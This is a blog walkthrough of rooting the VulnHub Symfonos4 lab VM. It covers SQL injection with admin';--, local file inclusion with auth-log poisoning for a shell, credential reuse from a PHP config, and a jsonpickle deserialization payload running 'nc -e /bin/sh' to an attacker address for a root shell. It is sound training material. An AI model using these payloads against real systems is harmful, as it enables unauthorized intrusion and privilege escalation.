← Home

VulnHub Symfonos4

30 May, 2021

Machine Link: https://www.vulnhub.com/entry/symfonos-4,347/

Beginning with an nmap scan

$ sudo nmap -A -sC -sV -O -p 1-20000 192.168.56.122
Starting Nmap 7.91 ( https://nmap.org )
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 192.168.56.122
Host is up (0.0013s latency).
Not shown: 19998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10 (protocol 2.0)
| ssh-hostkey: 
|   2048 f9:c1:73:95:a4:17:df:f6:ed:5c:8e:8a:c8:05:f9:8f (RSA)
|   256 be:c1:fd:f1:33:64:39:9a:68:35:64:f9:bd:27:ec:01 (ECDSA)
|_  256 66:f7:6a:e8:ed:d5:1d:2d:36:32:64:39:38:4f:9c:8a (ED25519)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Site doesn't have a title (text/html).
MAC Address: 08:00:27:3E:1B:B2 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   1.35 ms 192.168.56.122

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.66 seconds

Next I ran gobuster and found two PHP files

$ ./gobuster dir -r -u http://192.168.56.122/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php    
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.56.122/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              php
[+] Follow Redirect:         true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/css                  (Status: 200) [Size: 949]
/manual               (Status: 200) [Size: 626]
/js                   (Status: 200) [Size: 948]
/javascript           (Status: 403) [Size: 300]
/sea.php              (Status: 200) [Size: 1718]
/atlantis.php         (Status: 200) [Size: 1718]
/server-status        (Status: 403) [Size: 302] 
/gods                 (Status: 200) [Size: 1340]
                                                
===============================================================
Finished
===============================================================

sea.php would redirect to atlantis.php

$ curl -v 192.168.56.122/sea.php     
*   Trying 192.168.56.122:80...
* Connected to 192.168.56.122 (192.168.56.122) port 80 (#0)
> GET /sea.php HTTP/1.1
> Host: 192.168.56.122
> User-Agent: curl/7.74.0
> Accept: */*
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 302 Found
< Date: Sun, 30 May 2021 06:26:49 GMT
< Server: Apache/2.4.38 (Debian)
< Set-Cookie: PHPSESSID=v9u6vlgnbdbd8v9l6aq3tdlvh9; path=/
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
< location: atlantis.php
< Content-Length: 0
< Content-Type: text/html; charset=UTF-8
< 
* Connection #0 to host 192.168.56.122 left intact

atlantis.php lead to a login page. gods/ had three log files hades.log, poseidon.log and zeus.log but nothing significant to investigate further

After trying multiple SQL injection payloads on the login page, admin';-- worked and I got to see sea.php. This also indicated that 'admin' would be an actual username as well since I tried zeus';-- as well and it didn't work

This looked like LFI again.

The auth log was available at the path ../../../../../var/log/auth. Since auth log would log SSH attempts, I attempted Log File Poisoning

$ curl 'http://192.168.56.123/sea.php?file=../../../../../../../../../var/log/auth&cmd=whoami' -H 'Cookie: PHPSESSID=m3d8lcovucg8mbde25o3l1vmde'
<html>
<head>
<link rel="stylesheet" type="text/css" href="css/bootstrap.min.css">
</head>
<body>
<div class="container">
<div class="d-flex justify-content-center align-items-center" style="height:100px;">
  <div class="form-group">
    <select onchange="location = this.value;">
      <option selected="">Select a God</option>
      <option value="?file=hades">Hades</option>
      <option value="?file=poseidon">Poseidon</option>
      <option value="?file=zeus">Zeus</option>
    </select>
  </div>
</div>
<script src="js/bootstrap.min.js"></script>
May 30 02:39:02 symfonos4 CRON[786]: pam_unix(cron:session): session opened for user root by (uid=0)
May 30 02:39:02 symfonos4 CRON[786]: pam_unix(cron:session): session closed for user root
May 30 02:43:17 symfonos4 sshd[849]: Connection closed by 192.168.56.103 port 59904 [preauth]
May 30 02:43:19 symfonos4 sshd[851]: Invalid user kali from 192.168.56.103 port 59906
May 30 02:43:20 symfonos4 sshd[851]: Failed none for invalid user kali from 192.168.56.103 port 59906 ssh2
May 30 02:43:21 symfonos4 sshd[851]: Failed password for invalid user kali from 192.168.56.103 port 59906 ssh2
May 30 02:43:21 symfonos4 sshd[851]: Failed password for invalid user kali from 192.168.56.103 port 59906 ssh2
May 30 02:43:21 symfonos4 sshd[851]: Connection closed by invalid user kali 192.168.56.103 port 59906 [preauth]
May 30 02:45:04 symfonos4 sshd[856]: Invalid user www-data
 from 192.168.56.103 port 59910
May 30 02:45:07 symfonos4 sshd[856]: Failed none for invalid user www-data
 from 192.168.56.103 port 59910 ssh2
May 30 02:45:07 symfonos4 sshd[856]: Failed password for invalid user www-data
 from 192.168.56.103 port 59910 ssh2
May 30 02:45:08 symfonos4 sshd[856]: Failed password for invalid user www-data
 from 192.168.56.103 port 59910 ssh2
May 30 02:45:08 symfonos4 sshd[856]: Connection closed by invalid user www-data
 192.168.56.103 port 59910 [preauth]
</div>
</body>
</html>

So apache is running as www-data. Let's use this exploit for a reverse shell

www-data@symfonos4:/var/www/html$ whoami
whoami
www-data
www-data@symfonos4:/var/www/html$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@symfonos4:/var/www/html/gods$ cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
avahi-autoipd:x:105:113:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
poseidon:x:1000:1000:,,,:/home/poseidon:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/sbin/nologin
mysql:x:107:115:MySQL Server,,,:/nonexistent:/bin/false

I ran linpeas, here's the interesting parts of the output

[+] Finding 'pwd' or 'passw' variables (and interesting php db definitions) inside key folders (limit 70) - only PHP files
/var/www/html/atlantis.php:                                    <input type="password" id="password" class="form-control" name="password" required>                                                                                           
/var/www/html/atlantis.php:                                <label for="password" class="col-md-4 col-form-label text-md-right">Password</label>
/var/www/html/atlantis.php:   $pwd = hash('sha256',$_POST["password"]);
/var/www/html/atlantis.php:   $statement = $db->prepare("Select * from users where username='".$username."' and pwd='".$pwd."'");
/var/www/html/atlantis.php:   define('DB_PASSWORD', 'yVzyRGw3cG2Uyt2r');
/var/www/html/atlantis.php:   define('DB_USERNAME', 'root');

Using the DB credentials I found admin's hashed password

www-data@symfonos4:/var/www/html$ mysql -u root -p 
mysql -u root -p 
Enter password: yVzyRGw3cG2Uyt2r

Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 22
Server version: 10.3.15-MariaDB-1 Debian 10

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> SHOW DATABASES;
SHOW DATABASES;
+--------------------+
| Database           |
+--------------------+
| db                 |
| information_schema |
| mysql              |
| performance_schema |
+--------------------+
4 rows in set (0.001 sec)

MariaDB [(none)]> USE db;
USE db;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [db]> SHOW TABLES;
SHOW TABLES;
+--------------+
| Tables_in_db |
+--------------+
| users        |
+--------------+
1 row in set (0.000 sec)

MariaDB [db]> SELECT * FROM users;
SELECT * FROM users;
+----------+------------------------------------------------------------------+
| username | pwd                                                              |
+----------+------------------------------------------------------------------+
| admin    | b674f184cd52edabf2c38c0142452c0af7e21f71e857cebb856e3ad7714b99f2 |
+----------+------------------------------------------------------------------+
1 row in set (0.000 sec)

Couldn't find the unhashed password, but I tried to login as poseidon using the DB password and it worked!

$ ssh poseidon@192.168.56.123
poseidon@192.168.56.123's password: 
Linux symfonos4 4.19.0-5-686 #1 SMP Debian 4.19.37-5+deb10u2 (2019-08-08) i686

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Aug 18 02:50:19 2019 from 192.168.1.147
poseidon@symfonos4:~$ id
uid=1000(poseidon) gid=1000(poseidon) groups=1000(poseidon),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth)
poseidon@symfonos4:~$ whoami
poseidon
poseidon@symfonos4:~$ ps aux | grep root
root       642  0.0  1.6  28244 16936 ?        S    02:25   0:00 /usr/bin/python /usr/local/bin/gunicorn --workers 3 -b 127.0.0.1:8080 app:app
root       643  0.0  1.5  27304 15764 ?        S    02:25   0:00 /usr/bin/python /usr/local/bin/gunicorn --workers 3 -b 127.0.0.1:8080 app:app
root       644  0.0  1.6  28332 16820 ?        S    02:25   0:00 /usr/bin/python /usr/local/bin/gunicorn --workers 3 -b 127.0.0.1:8080 app:app

So root is running gunicorn on port 8080. I found its code in /opt/code, it was a Flask app.

poseidon@symfonos4:~$ cd /opt
poseidon@symfonos4:/opt$ ls
code
poseidon@symfonos4:/opt/code$ ls
app.py  app.pyc  static  templates  wsgi.pyc
poseidon@symfonos4:/opt/code$ cat app.py
from flask import Flask, request, render_template, current_app, redirect

import jsonpickle
import base64

app = Flask(__name__)

class User(object):

    def __init__(self, username):
        self.username = username


@app.route('/')
def index():
    if request.cookies.get("username"):
        u = jsonpickle.decode(base64.b64decode(request.cookies.get("username")))
        return render_template("index.html", username=u.username)
    else:
        w = redirect("/whoami")
        response = current_app.make_response(w)
        u = User("Poseidon")
        encoded = base64.b64encode(jsonpickle.encode(u))
        response.set_cookie("username", value=encoded)
        return response


@app.route('/whoami')
def whoami():
    user = jsonpickle.decode(base64.b64decode(request.cookies.get("username")))
    username = user.username
    return render_template("whoami.html", username=username)


if __name__ == '__main__':
    app.run()

It was visible from the code and the decoded cookie that I have to look into unchecked deserialization of objects

$ echo "eyJweS9vYmplY3QiOiAiYXBwLlVzZXIiLCAidXNlcm5hbWUiOiAiUG9zZWlkb24ifQ==" | base64 --decode
{"py/object": "app.User", "username": "Poseidon"Poseidon}

After going through a number of guides about unchecked deserialization using jsonpickle, I was able to craft a payload after multiple failed attempts

$ echo '{"py/object":"__main__.Shell","py/reduce":[{"py/type":"os.system"},{"py/tuple":["/usr/bin/nc -e /bin/sh 192.168.56.103 4242"]},0,0,0]}' | base64 -w 0
$ nc -lvnp 4242
Connection from 192.168.56.123:33620
id
uid(root=0) gid(root=0) groups(root=0)
whoami
root
python -c "import pty; pty.spawn('/bin/bash')"
root@symfonos4:~# cd /root
cd /root
root@symfonos4:~# ls
ls
proof.txt
root@symfonos4:~# cat proof.txt
cat proof.txt

        Congrats on rooting symfonos:4!
 ~         ~            ~     w   W   w
                    ~          \  |  /       ~
        ~        ~        ~     \.|./    ~
                                  |
                       ~       ~  |           ~
       o        ~   .:.:.:.       | ~
  ~                 wwWWWww      //   ~
            ((c     ))"""((     //|        ~
   o       /\/\((  (( 6 6 ))   // |  ~
          (d d  ((  )))^(((   //  |
     o    /   / c((-(((')))-.//   |     ~
         /===/ `) (( )))(( ,_/    |~
  ~     /o o/  / c((( (()) |      |  ~          ~
     ~  `~`^  / c (((  ))  |      |          ~
             /c  c(((  (   |  ~   |      ~
      ~     /  c  (((  .   |      |   ~           ~
           / c   c ((^^^^^^`\   ~ | ~        ~
          |c  c c  c((^^^ ^^^`\   |
  ~        \ c   c   c(^^^^^^^^`\ |    ~
       ~    `\ c   c  c;`\^^^^^./ |             ~
              `\c c  c  ;/^^^^^/  |  ~
   ~        ~   `\ c  c /^^^^/' ~ |       ~
         ~        `;c   |^^/'     o
             .-.  ,' c c//^\\         ~
     ~      ( @ `.`c  -///^\\\  ~             ~
             \ -` c__/|/     \|
      ~       `---'   '   ~   '          ~
 ~          ~          ~           ~             ~
        Contact me via Twitter @zayotic to give feedback!